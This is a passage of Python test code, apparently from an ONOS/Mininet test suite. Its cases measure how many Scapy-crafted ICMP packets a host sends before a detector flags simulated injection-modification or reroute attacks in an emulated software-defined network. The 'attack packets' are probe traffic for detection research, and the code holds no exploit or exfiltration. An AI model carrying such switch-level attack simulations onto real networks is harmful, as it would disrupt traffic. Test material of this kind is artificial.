onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 2 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Modification Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 2 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection modification was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE1003( self, main ):
'''
Measure detection time for a packet injection modification attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection modification attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection modification attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the modification rule with a new attacker hash value" )
main.updateModificationAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 3 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Modification Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 3 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection modification was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE1004( self, main ):
'''
Measure detection time for a packet injection modification attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection modification attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection modification attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the modification rule with a new attacker hash value" )
main.updateModificationAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 4 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Modification Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 4 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection modification was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE1005( self, main ):
'''
Measure detection time for a packet injection modification attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection modification attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection modification attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the modification rule with a new attacker hash value" )
main.updateModificationAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 5 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Modification Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 5 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection modification was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE1006( self, main ):
'''
Measure detection time for a packet injection modification attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection modification attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection modification attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the modification rule with a new attacker hash value" )
main.updateModificationAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 6 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Modification Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 6 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection modification was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE1007( self, main ):
'''
Measure detection time for a packet injection modification attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection modification attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection modification attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the modification rule with a new attacker hash value" )
main.updateModificationAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 7 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Modification Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 7 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection modification was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE1008( self, main ):
'''
Measure detection time for a packet injection modification attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection modification attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection modification attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the modification rule with a new attacker hash value" )
main.updateModificationAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 8 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Modification Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 8 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection modification was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE1009( self, main ):
'''
Measure detection time for a packet injection modification attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection modification attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection modification attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the modification rule with a new attacker hash value" )
main.updateModificationAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 9 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Modification Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 9 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection modification was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
###
def CASE1100( self, main ):
'''
Measure detection time for a reroute attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet reroute attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out reroute attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the reroute rule with a new attacker hash value" )
main.updateRerouteAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
testChksums = []
for flow in flowTable:
main.log.info( "flow:" + str( flow ) )
if re.search( "dl_vlan", flow ):
chksumFlow = []
chksumAlmost = []
chksumFlow = flow.split( "dl_vlan=" )
chksumAlmost = chksumFlow[ 1 ].split( " " )
chksumUse = chksumAlmost[ 0 ]
main.log.info( "got:" + str( chksumUse ) )
testChksums.append( int( chksumUse ) )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 0 ):
#for chksum in testChksums:
chksum = int( chksum ) & 4095
#main.log.info( "Going to send packet with checksum value:" + str( chksum ) )
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
#if len( attackPackets ) == 19:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
#pktCounter += 19
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Reroute Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
#for chksumValue in testChksums:
for chksumValue in main.chksums.get( 0 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the reroute was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the reroute attack",
onfail="Failed to find the no. of packets to detect the reroute attack" )
def CASE1101( self, main ):
'''
Measure detection time for a reroute attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet reroute attack is detected by ATS" )
